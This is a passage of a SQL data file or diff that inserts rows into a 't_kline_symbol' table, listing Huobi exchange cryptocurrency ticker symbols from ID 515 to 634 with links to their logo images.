'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pnetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (515, 'huobi', 'idt', 'IDT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/investdigital.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (516, 'huobi', 'dac', 'DAC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dacash.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (517, 'huobi', 'bcv', 'BCV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcapitalvendor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (518, 'huobi', 'sexc', 'SEXC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (519, 'huobi', 'tos', 'TOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thingsopreatingsystem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (520, 'huobi', 'musk', 'MUSK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/MuskProject.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (521, 'huobi', 'add', 'ADD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/add.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (522, 'huobi', 'mt', 'MT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mytoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (523, 'huobi', 'kcash', 'KCASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kcash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (524, 'huobi', 'iq', 'IQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everipedia.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (525, 'huobi', 'ncc', 'NCC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neurochain-clausius.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (526, 'huobi', 'rccc', 'RCCC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rccc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (527, 'huobi', 'hpt', 'HPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hpt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (528, 'huobi', 'cvnx', 'CVNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypviser.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (529, 'huobi', 'rte', 'RTE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rate3.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (530, 'huobi', 'trio', 'TRIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tripio.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (531, 'huobi', 'ardr', 'ARDR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ardor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (532, 'huobi', 'nano', 'NANO', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (533, 'huobi', 'gusd', 'GUSD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gusd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (534, 'huobi', 'tusd', 'TUSD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trueusd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (535, 'huobi', 'usdp', 'USDP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paxos-standard.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (536, 'huobi', 'husd', 'HUSD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stcoins.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (537, 'huobi', 'rbtc', 'RBTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rsk.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (538, 'huobi', 'bsv', 'BSV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash-sv.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (539, 'huobi', 'dock', 'DOCK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dock.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (540, 'huobi', 'mxc', 'MXC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mxc.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (541, 'huobi', 'wgp', 'WGP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/w-green-pay.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (542, 'huobi', 'nuls', 'NULS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nuls.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (543, 'huobi', 'cova', 'COVA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cova-unity.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (544, 'huobi', 'lamb', 'LAMB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/lamb.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (545, 'huobi', 'cvnt', 'CVNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/content-value-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (546, 'huobi', 'btt', 'BTT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bittorrent-new.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (547, 'huobi', 'kmd', 'KMD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/komodo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (548, 'huobi', 'mgo', 'MGO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/mobilegotoken.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (549, 'huobi', 'abl', 'ABL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abl.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (550, 'huobi', 'loom', 'LOOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loom-networknew.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (551, 'huobi', 'nexo', 'NEXO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (552, 'huobi', 'mzk', 'MZK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/muzika.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (553, 'huobi', 'etn', 'ETN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/electroneum.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (554, 'huobi', 'npxs', 'NPXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pundi-x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (555, 'huobi', 'top', 'TOP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/top-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (556, 'huobi', 'adt', 'ADT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adtoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (557, 'huobi', 'mvl', 'MVL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mass-vehicle-ledger.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (558, 'huobi', 'iris', 'IRIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/irisnet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (559, 'huobi', 'hvt', 'HVT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hvt.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (560, 'huobi', 'tfuel', 'TFUEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thetafuel.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (561, 'huobi', 'ugas', 'UGAS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ugas.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (562, 'huobi', 'new', 'NEW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/new.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (563, 'huobi', 'inc', 'INC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/influence-chain.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (564, 'huobi', 'tt', 'TT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thundercore.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (565, 'huobi', 'cro', 'CRO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cro.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (566, 'huobi', 'ogo', 'OGO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (567, 'huobi', 'fsn', 'FSN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fusion.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (568, 'huobi', 'atp', 'ATP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atlas-protocol.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (569, 'huobi', 'skm', 'SKM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skrumble-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (570, 'huobi', 'egt', 'EGT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/egretia.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (571, 'huobi', 'akro', 'AKRO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3b2d7b7c70c7be4faece2ccb1d8f1dca.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (572, 'huobi', 'pvt', 'PVT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/5e484725dfdc5a0acb79a98b340f58b7.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (573, 'huobi', 'cnns', 'CNNS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/17ffaa542e2c4d025632fc8342bd44c4.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (574, 'huobi', 'hbc', 'HBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/homeblockcoin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (575, 'huobi', 'gt', 'GT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gatechain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (576, 'huobi', 'pizza', 'PIZZA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pizzacoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (577, 'huobi', 'vsys', 'VSYS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/v-systems.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (578, 'huobi', 'cre', 'CRE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carry.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (579, 'huobi', 'lol', 'LOL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/emogi-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (580, 'huobi', 'wxt', 'WXT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/wirex.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (581, 'huobi', 'for', 'FOR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/forceprotocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (582, 'huobi', 'vidy', 'VIDY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/14b1c6080c07e49b86cc06615267c722.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (583, 'huobi', 'node', 'NODE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whole-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (584, 'huobi', 'bhd', 'BHD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-hd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (585, 'huobi', 'mx', 'MX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/mxtoken.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (586, 'huobi', 'em', 'EM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/eminer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (587, 'huobi', 'eoss', 'EOSS', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (588, 'huobi', 'try', 'TRY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3727d7a1abf045241637724fd5ecbf3c.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (589, 'huobi', 'hive', 'HIVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hive.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (590, 'huobi', 'jst', 'JST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/just.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (591, 'huobi', 'btc3l', 'BTC3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (592, 'huobi', 'btc3s', 'BTC3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (593, 'huobi', 'btc1s', 'BTC1S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (594, 'huobi', 'nest', 'NEST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nest.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (595, 'huobi', 'usd01', 'USD01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (596, 'huobi', 'lunc', 'LUNC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-luna.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (597, 'huobi', 'eth3l', 'ETH3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (598, 'huobi', 'eth3s', 'ETH3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (599, 'huobi', 'eth1s', 'ETH1S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (600, 'huobi', 'nvt', 'NVT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nvt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (601, 'huobi', 'dai', 'DAI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dai.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (602, 'huobi', 'dka', 'DKA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dkargo.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (603, 'huobi', 'lend', 'LEND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethlend.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (604, 'huobi', 'stpt', 'STPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/standardtokenizationprotocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (605, 'huobi', 'wnxm', 'WNXM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-nxm.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (606, 'huobi', 'yfii', 'YFII', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfii-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (607, 'huobi', 'bnt', 'BNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bancor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (608, 'huobi', 'df', 'DF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dforce-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (609, 'huobi', 'spa', 'SPA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sperax.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (610, 'huobi', 'mln', 'MLN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/melon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (611, 'huobi', 'ring', 'RING', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darwinia-network-native-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (612, 'huobi', 'mta', 'MTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mstable.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (613, 'huobi', 'value', 'VALUE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/value-liquidity.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (614, 'huobi', 'yamv2', 'YAMV2', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yam-v2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (615, 'huobi', 'xrt', 'XRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/robonomics-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (616, 'huobi', 'pearl', 'PEARL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pearl.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (617, 'huobi', 'pha', 'PHA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phala.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (618, 'huobi', 'cvp', 'CVP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/concentrated-voting-power.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (619, 'huobi', 'swrv', 'SWRV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swerve-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (620, 'huobi', 'bot', 'BOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bodhi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (621, 'huobi', 'sun', 'SUN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sun-token-new.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (622, 'huobi', 'gof', 'GOF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golff.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (623, 'huobi', 'wbtc', 'WBTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-bitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (624, 'huobi', 'renbtc', 'RENBTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/renbtc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (625, 'huobi', 'dht', 'DHT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dhedge-dao.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (626, 'huobi', 'front', 'FRONT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frontier.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (627, 'huobi', 'titan', 'TITAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/titanswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (628, 'huobi', 'wing', 'WING', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wing-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (629, 'huobi', 'link3l', 'LINK3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (630, 'huobi', 'link3s', 'LINK3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (631, 'huobi', 'cru', 'CRU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crust.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (632, 'huobi', 'nbs', 'NBS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newbitshares.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (633, 'huobi', 'dot2l', 'DOT2L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (634, 'huobi', 'dot2s', 'DOT2S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 